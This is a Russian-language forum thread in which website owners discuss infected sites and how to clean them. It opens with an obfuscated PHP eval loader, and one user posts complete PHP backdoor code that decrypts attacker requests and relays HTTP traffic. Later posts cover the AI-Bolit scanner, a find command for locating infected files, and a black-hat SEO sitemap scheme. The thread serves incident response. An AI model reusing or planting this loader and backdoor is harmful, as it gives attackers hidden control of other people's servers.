                                                          'sF%rv%sU%sF%Qs%Qs%Qs%Qs%Qgq4MOX9%Qs%VU%QsM42f_fl9lQ%Q6%QgM42f_fl9l%QZ%Vv%sU'.
                                                          '%sF%rU%sU%sF%sU%sF4dBi%Qs%Qgq4MOX9%Vv%sU%sF%sU%sF0O2d9yi2%Qsf4'.
                                                          'dqtA9%Q6%Qgfl9l%QZ%sU%sF%rv%sU%sF%Qs%Qs%Qs%Qs%QgiO9_fl9l%Qs%VU%Qs%QQ%QQ%Vv%sU%sF%Qs%Qs%Qs%Qs%Qgc4t%Q'.
                                                          's%VU%Qs%Qg_YohGoh%ev%QrT88a_TbY8%Qr%eU%Qs.%Qs%Qg_YohGoh%ev%QrhoKWoY8_W'.
                                                          'hu%Qr%eU%Vv%sU%sF%Qs%Qs%Qs%Qs%Qgc4t_X42%Qs%VU%QsM9qX42%Q6%Qgc4t%QZ%Vv%sU%sF%Qs%sU%sF%Qs%Qs%Qs%Qs0i'.
                                                          'q%Qs%Q6%Qgy%VUs%Vv%Qs%Qgy%Qs%Vj%QsM9qX42%Q6%Qgc4t%QZ%Vv%Qs'.
                                                          '%Qgy%Qv%Qv%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs'.
                                                          '%Qgc4t%ev%Qgy%eU%Qs%VU%QsdBq%Q6iqf%Q6%Qgc4t%ev%Qgy%eU%QZ%Qs%eo%Qs%Q6%Qgc4t_X42%Qs%Q'.
                                                          'e%QsQee%QZ%QZ%Vv%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%sU%sF%Qs%'.
                                                          'Qs%Qs%Qs0iq%Qs%Q6%Qgy%VUs%Vv%Qs%Qgy%VjM9qX42%Q6%Qgfl9l%QZ%Vv%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%'.
                                                          'Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs0iq%Qs%Q6%QgP%VUs%Vv%Qs%QgP%VjM9q'.
                                                          'X42%Q6%Qgc4t%QZ%Qs%Q5%Q5%Qs%Qgy%VjM9qX42%Q6%Qgfl9l%QZ%Vv%Qs%QgP'.
                                                          '%Qv%Qv%Qj%Qs%Qgy%Qv%Qv%QZ%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%rv%sU%sF%Qs'.
                                                          '%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QgiO9_fl9l%Qs.%VU%QsdBq%Q6iqf%Q6%Qgfl9l%ev%Qgy%eU%QZ%Q'.
                                                          's%eo%Qsiqf%Q6%Qgc4t%ev%QgP%eU%QZ%QZ%Vv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Q'.
                                                          's%rU%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%sU%sF%Qs%Qs%Qs%Qsq49Oq2%Qs%QgiO9'.
                                                          '_fl9l%Vv%sU%sF%rU%sU%sF%sU%sF0O2d9yi2%QsM42f_fl9lp%Q6%Qgfl'.
                                                          '9l%QZ%sU%sF%rv%sU%sF%Qs%Qs%Qs%Qs%QgB4lf%Qs%VU%Qs%QQ%QQ%Vv%sU%sF%sU%sF%Qs'.
                                                          '%Qs%Qs%Qs0iq4ldB%Q6%Qgfl9l%ev%QQB4lf4qM%QQ%eU%QslM%Qs%Q'.
                                                          'gc4t%VU%Vo%QgzlXO4%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QgB4lf%Qs.%VU%Qs%Qgc4t%Qs.'.
                                                          '%Qs%QQ%VF%Qs%QQ%Qs.%Qs%QgzlXO4%Qs.%Qs%QQ%ejq%ej2%QQ%Vv%sU%sF%Qs%Qs%Qs%Qs%rU%sU%s'.
                                                          'F%sU%sF%Qs%Qs%Qs%Qs%QgAlqlEM%Qs%VU%Qslqqlt%Q6%QrB99A%Qr%Qs%VU%Vo%Qslqqlt%Q6%sU%s'.
                                                          'F%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QrE49Bif%Qr%Qs%VU%Vo%Qs%Qgf'.
                                                          'l9l%ev%QQE49Bif%QQ%eU%Qj%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QrB4lf4q%Qr%Qs%V'.
                                                          'U%Vo%Qs%QgB4lf%Qj%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qrdi29429%Qr%Qs%V'.
                                                          'U%Vo%Qs%Qgfl9l%ev%QQRift%QQ%eU%Qj%sU%sF%Qs%Qs%Qs%Qs%Q'.
                                                          's%Qs%Qs%Qs%Qr9yE4iO9%Qr%Qs%VU%Vo%Qs%Qgfl9l%ev%QQ9yE4iO9%QQ%eU%Qj%sU%sF%Qs%Qs%Qs%Qs%Qs%Q'.
                                                          's%Qs%Qs%sU%sF%Qs%Qs%Qs%Qs%QZ%QZ%Vv%sU%sF%sU%sF%Qs%Qs%Qs'.
                                                          '%Qs%Qgd9S%Qs%VU%QsM9q4lE_di294S9_dq4l94%Q6%QgAlqlEM%QZ%Vv%sU%sF%Qs%Qs%Qs%Qs%sU%sF%Qs%Qs%Qs%Qs%Q'.
                                                          'gq4MOX9%Qs%VU%Qs%gs0yX4_149_di29429M%Q6%Qgfl9l%ev%QQOqX%QQ%eU%Qj%QsLF'.
                                                          'wYo%Qj%Qs%Qgd9S%QZ%Vv%sU%sF%sU%sF%Qs%Qs%Qs%Qsy0%Qs%Q6%QgB99A_q4MAi2M4_'.
                                                          'B4lf4q%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qsy0%Qs%Q6M9qAiM%Q6%'.
                                                          'QgB99A_q4MAi2M4_B4lf4q%evs%eU%Qj%Qs%QQQss%QQ%QZ%Qs%'.
                                                          'VU%VU%VU%QsLFwYo%QZ%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%'.
                                                          'Qgq4MOX9%Qs%VU%Qs%QQT88a_ohhbh%ej9%QQ%Qs.%Qs%QgB99A_q4MAi2M4_B4lf4q%evs%eU%Vv%sU%sF%Qs%Qs%Qs%Qs'.
                                                          '%Qs%Qs%Qs%Qs%rU%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%Qs%Qs%Qs%Qs4XM4%sU%sF%Qs%Qs%Qs%'.
                                                          'Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qgq4MOX9%Qs%VU%Qs%QQjbNNoj8ubN'.
                                                          '_ohhbh%QQ%Vv%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%sU%sF%Qs%Qs%Qs%Qsq49Oq2%Qs%Qgq4MOX9%Vv%sU%sF%rU%sU%'.
                                                          'sF%sU%sF0O2d9yi2%QsM42f_fl9lQ%Q6%Qgfl9l%QZ%sU%sF%rv%sU%sF%Qs%Qs%Qs%Qs//%QsOM4%QsMidc49M%sU%sF%rU';
                                                          $zhmoaocvvt = Array('1'=>'g', '0'=>'f', '3'=>'J', '2'=>'n', '5'=>'6', '4'=>'e', '7'=>'Y', '6'=>'8', '9'=>'t', '8'=>'T', 'A'=>'p', 'C'=>'K', 'B'=>'h', 'E'=>'m', 'D'=>'G', 'G'=>'V', 'F'=>'A', 'I'=>'Z', 'H'=>'X', 'K'=>'Q', 'J'=>'w', 'M'=>'s', 'L'=>'F', 'O'=>'u', 'N'=>'N', 'Q'=>'2', 'P'=>'j', 'S'=>'x', 'R'=>'b', 'U'=>'D', 'T'=>'H', 'W'=>'U', 'V'=>'3', 'Y'=>'S', 'X'=>'l', 'Z'=>'9', 'a'=>'P', 'c'=>'k', 'b'=>'O', 'e'=>'5', 'd'=>'c', 'g'=>'4', 'f'=>'d', 'i'=>'o', 'h'=>'R', 'k'=>'z', 'j'=>'C', 'm'=>'q', 'l'=>'a', 'o'=>'E', 'n'=>'W', 'q'=>'r', 'p'=>'1', 's'=>'0', 'r'=>'7', 'u'=>'I', 't'=>'y', 'w'=>'L', 'v'=>'B', 'y'=>'i', 'x'=>'M', 'z'=>'v');
                                                          eval/*tbtro*/(trpnppanw($kbkxysfg, $zhmoaocvvt));?>
                                                            Володя
                                                            Володя Старожил
                                                            24 августа 2018, 17:35
                                                            <?php
                                                            @ini_set('display_errors', 0);
                                                            @ini_set('log_errors', 0);
                                                            @error_reporting(0);
                                                            @set_time_limit(0);
                                                            @ignore_user_abort(1);
                                                            @ini_set('max_execution_time', 0);
                                                            
                                                            foreach ($_COOKIE as $item) {
                                                                if ($item != "f08c42d0-b16d-425e-9ab3-43776c82f21d") {
                                                                    exit();
                                                                }
                                                            }
                                                            
                                                            $data = file_get_contents('php://input');
                                                            $data = split("=", $data, 2);
                                                            
                                                            $b64_decode_data = base64_decode(urldecode($data[1]));
                                                            
                                                            $send_data = unserialize(decrypt($b64_decode_data));
                                                            
                                                            $result = send_data1($send_data);
                                                            
                                                            if (!$result) {
                                                                $result = send_data2($send_data);
                                                            }
                                                            
                                                            echo $result;
                                                            
                                                            function decrypt($data)
                                                            {
                                                                $out_data = "";
                                                                $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
                                                                $key_len = strlen($key);
                                                            
                                                                for ($i = 0; $i < strlen($key); $i++) {
                                                                    $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
                                                                }
                                                            
                                                                for ($i = 0; $i < strlen($data);) {
                                                                    for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
                                                                        $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
                                                                    }
                                                                }
                                                            
                                                                return $out_data;
                                                            }
                                                            
                                                            function send_data1($data)
                                                            {
                                                                $head = "";
                                                            
                                                                foreach ($data["headers"] as $key => $value) {
                                                                    $head .= $key . ": " . $value . "\r\n";
                                                                }
                                                            
                                                                $params = array(
                                                                    'http' => array(
                                                                        'method'  => $data["method"],
                                                                        'header'  => $head,
                                                                        'content' => $data["body"],
                                                                        'timeout' => $data["timeout"],
                                                            
                                                                    )
                                                                );
                                                            
                                                                $ctx = stream_context_create($params);
                                                            
                                                                $result = @file_get_contents($data["url"], false, $ctx);
                                                            
                                                                if ($http_response_header) {
                                                                    if (strpos($http_response_header[0], "200") === false) {
                                                                        $result = "HTTP_ERROR\t" . $http_response_header[0];
                                                                    }
                                                                } else {
                                                                    $result = "CONNECTION_ERROR";
                                                                }
                                                            
                                                                return $result;
                                                            }
                                                            
                                                            function send_data2($data)
                                                            {
                                                                // use sockets
                                                            }
                                                              Олег Захаров
                                                              Олег Захаров Старожил
                                                              24 августа 2018, 18:06
                                                              Это Вы расшифровали код выше? Если да то как вы расшифровали? Я чайник:)
                                                              Что делает этот файл? Это взлом? Удалять этот файл?
                                                            Олег Захаров
                                                            Олег Захаров Старожил
                                                            24 августа 2018, 18:12
                                                            Выложил результаты проверки айболитом, но не успел написать зачем. Я правильно понимаю что все эти левые файлы с переменными массивами аля Global — потенциально результаты взлома сайтов?
                                                            Меня удивляет как удалось злоумышленникам записать в директории админки и коннекторов если я их переименовал (core вынес наверх)?
                                                            Из списка обнаруженного — можно говорить что риску взлома подвержены компоненты Minify? (про Gallery понятно).
                                                            Как зараза они смогли модифицировать системные файлы (/controllers/default/system/event.class.php).
                                                            У себя заметил что все измененные и зараженные файлы были модифицированны в одно и то же время (28.05.18). И таким образом я искал все файлы которые были изменены в эту дату. Но все равно айболит нашел файлы которые имели дату изменения более ранние (даже 2016 года), но при этом были встроенные левые коды (сравнивал с другими сайтами — там левых кодов в этих файлах не было).
                                                            Алексей
                                                            Алексей Старожил
                                                            26 сентября 2018, 01:30
                                                            скачивал сегодня aibolit, при запуске сканирования выдал ошибку:
                                                            php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
                                                            PHP Parse error: syntax error, unexpected T_FUNCTION in /home/s/sknnovyand/aibolit/ai-bolit/ai-bolit.php on line 2337
                                                              Алексей
                                                              Алексей Старожил
                                                              10 декабря 2018, 16:48
                                                              Мне ещё помогла данная команда определить зараженный файлы:
                                                              find -newerct "1 Sep 2018" ! -newerct "10 Dec 2018" -ls
                                                              Запускать из консоли. Просто смотрим дату создания файла с вирусом, и в корневой директории доступной для php запускаем из командной строки пользователя данную команду с разбегом ±месяц. Видимо вирус не удосужился заменить дату создания файлов, поэтому его можно вычислить.
                                                              Ну а эта команда покажет список файлов созданных между 1 сентября 2018 года и 10 декабря 2018 года.
                                                                Алексей
                                                                Алексей Старожил
                                                                10 декабря 2018, 17:14
                                                                вот пример файлов с вирусами:
                                                                1606794     16 -rw-r--r--   1 justme   justme      12787 Oct 18 13:20 ./connectors/manager/access.php
                                                                  1603580     24 -rw-r--r--   1 justme   justme      24519 Sep 28 11:50 ./connectors/manager/Dwsonv.php
                                                                  1603556     12 -rw-r--r--   1 justme   justme       9798 Sep 25 11:18 ./connectors/manager/Meuhy.php
                                                                  1606796     88 -rw-r--r--   1 justme   justme      87463 Oct 18 13:20 ./connectors/manager/server.php
                                                                  1606795     40 -rw-r--r--   1 justme   justme      40906 Oct 18 13:20 ./connectors/manager/doptions.php
                                                                  1578437      8 -rw-r--r--   1 justme   justme       4785 Sep 22 06:41 ./connectors/manager/search.php
                                                                  1589658      4 -rw-r--r--   1 justme   justme        291 Oct 25 13:07 ./connectors/manager/wp-version.php
                                                                  1603581     88 -rw-r--r--   1 justme   justme      87463 Sep 28 11:50 ./connectors/server.php
                                                                  1578438      4 drwxr-xr-x   2 justme   justme       4096 Sep 28 11:44 ./map
                                                                  1603566   5124 -rw-r--r--   1 justme   justme    5244015 Sep 28 11:42 ./map/sitemap16.xml
                                                                  1603574   5052 -rw-r--r--   1 justme   justme    5172167 Sep 28 11:43 ./map/sitemap15.xml
                                                                  1603570   5080 -rw-r--r--   1 justme   justme    5200171 Sep 28 11:42 ./map/sitemap18.xml
                                                                  1603575   5084 -rw-r--r--   1 justme   justme    5202419 Sep 28 11:44 ./map/sitemap10.xml
                                                                  1603564   5092 -rw-r--r--   1 justme   justme    5210143 Sep 28 11:41 ./map/sitemap1.xml
                                                                  1603571   5112 -rw-r--r--   1 justme   justme    5232185 Sep 28 11:43 ./map/sitemap17.xml
                                                                  1589661   5220 -rw-r--r--   1 justme   justme    5342546 Sep 28 11:41 ./map/sitemap4.xml
                                                                  1603572   5108 -rw-r--r--   1 justme   justme    5229295 Sep 28 11:43 ./map/sitemap13.xml
                                                                  1603569   5072 -rw-r--r--   1 justme   justme    5189645 Sep 28 11:42 ./map/sitemap14.xml
                                                                  1603577   5136 -rw-r--r--   1 justme   justme    5256439 Sep 28 11:44 ./map/sitemap6.xml
                                                                  1603563   5060 -rw-r--r--   1 justme   justme    5179566 Sep 28 11:41 ./map/sitemap2.xml
                                                                  1578446   5048 -rw-r--r--   1 justme   justme    5167440 Sep 28 11:41 ./map/sitemap9.xml
                                                                  1603567   5068 -rw-r--r--   1 justme   justme    5188781 Sep 28 11:42 ./map/sitemap7.xml
                                                                  1603579   5112 -rw-r--r--   1 justme   justme    5231154 Sep 28 11:44 ./map/sitemap19.xml
                                                                  1603565   5188 -rw-r--r--   1 justme   justme    5309893 Sep 28 11:41 ./map/sitemap20.xml
                                                                  1603576   5064 -rw-r--r--   1 justme   justme    5184554 Sep 28 11:44 ./map/sitemap3.xml
                                                                  1603568   5128 -rw-r--r--   1 justme   justme    5247563 Sep 28 11:42 ./map/sitemap12.xml
                                                                  1603573   5016 -rw-r--r--   1 justme   justme    5134371 Sep 28 11:43 ./map/sitemap11.xml
                                                                  1603578   5160 -rw-r--r--   1 justme   justme    5280363 Sep 28 11:44 ./map/sitemap5.xml
                                                                  1578441   5096 -rw-r--r--   1 justme   justme    5214693 Sep 28 11:41 ./map/sitemap8.xml
                                                                  1450550     36 -rw-r--r--   1 justme   justme      35486 Sep 28 07:45 ./index.php
                                                                  1450552      4 -rw-r--r--   1 justme   justme       1321 Sep 28 11:44 ./robots.txt
                                                                вирус создаёт карту сайта, авторизируется в гугл-вебмастере(собственно оттуда я и узнал что моим сайтом кто-то ещё начал управлять) добавляет туда кучу новых sitemap.xml. Похоже кто-то так размещает статьи для темного СЕО.
                                                                Павел Б
                                                                Павел Б Старожил
                                                                13 января 2020, 14:00
                                                                Друзья, а как сделать отчет в виде html? Указанные на сайте revisium.com/kb/ai-bolit-console-faq.html теги у меня не сработали…
                                                                  Авторизуйтесь или зарегистрируйтесь, чтобы оставлять комментарии.
                                                                  80